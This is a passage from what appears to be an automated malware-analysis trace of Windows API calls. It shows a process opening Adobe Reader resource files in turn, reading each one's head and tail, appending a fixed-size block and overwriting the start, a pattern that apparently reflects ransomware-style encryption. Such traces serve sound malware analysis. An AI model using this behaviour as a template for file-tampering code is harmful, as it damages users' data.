hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.405] ReleaseMutex (hMutex=0x128) returned 1 [0042.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.405] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.408] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6ffe [0042.408] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6ffe [0042.409] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.410] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.410] CloseHandle (hObject=0x1ac) returned 1 [0042.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr68.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr68.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.410] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.410] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3a251 [0042.410] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.410] ReleaseMutex (hMutex=0x128) returned 1 [0042.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr68.hsp", lpUsedDefaultChar=0x0) returned 9 [0042.410] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x39251 [0042.414] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.417] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x39251 [0042.417] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a4de28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4de28*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.417] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.417] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.418] CloseHandle (hObject=0x1ac) returned 1 [0042.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7c00 [0042.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.418] ReleaseMutex (hMutex=0x128) returned 1 [0042.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.418] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.422] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6c00 [0042.422] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.423] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6c00 [0042.423] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.423] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.424] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.424] CloseHandle (hObject=0x1ac) returned 1 [0042.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xbc00 [0042.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.426] ReleaseMutex (hMutex=0x128) returned 1 [0042.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.426] ReadFile (in: hFile=0x198, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xac00 [0042.428] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.429] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xac00 [0042.429] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.430] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.430] CloseHandle (hObject=0x198) returned 1 [0042.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xd4d [0042.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.431] ReleaseMutex (hMutex=0x128) returned 1 [0042.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finphon.env", lpUsedDefaultChar=0x0) returned 11 [0042.431] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0xd4d, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f2bc*=0xd4d, lpOverlapped=0x0) returned 1 [0042.433] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0042.433] WriteFile (in: hFile=0x198, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x12d5, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2c0f2d0*=0x12d5, lpOverlapped=0x0) returned 1 [0042.433] CloseHandle (hObject=0x198) returned 1 [0042.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x59c [0042.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.434] ReleaseMutex (hMutex=0x128) returned 1 [0042.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.fca", lpUsedDefaultChar=0x0) returned 7 [0042.434] ReadFile (in: hFile=0x198, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2c0f2bc*=0x59c, lpOverlapped=0x0) returned 1 [0042.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0042.436] WriteFile (in: hFile=0x198, lpBuffer=0x25c6008*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c6008*, lpNumberOfBytesWritten=0x2c0f2d0*=0xb24, lpOverlapped=0x0) returned 1 [0042.444] CloseHandle (hObject=0x198) returned 1 [0042.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv132.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv132.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x97000 [0042.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.445] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.445] ReleaseMutex (hMutex=0x128) returned 1 [0042.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv132.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv132.lex", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hrv132.lex", lpUsedDefaultChar=0x0) returned 10 [0042.445] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.807] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.821] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x96000 [0042.822] ReadFile (in: hFile=0x198, lpBuffer=0x3a4ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.829] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x96000 [0042.829] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.829] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.830] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.830] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.830] CloseHandle (hObject=0x198) returned 1 [0042.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.831] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.831] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7ffb [0042.831] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] ReleaseMutex (hMutex=0x128) returned 1 [0042.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl32.clx", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="itl32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.831] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.832] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6ffb [0042.832] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.833] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6ffb [0042.833] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.834] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.834] CloseHandle (hObject=0x198) returned 1 [0042.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x47c [0042.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, 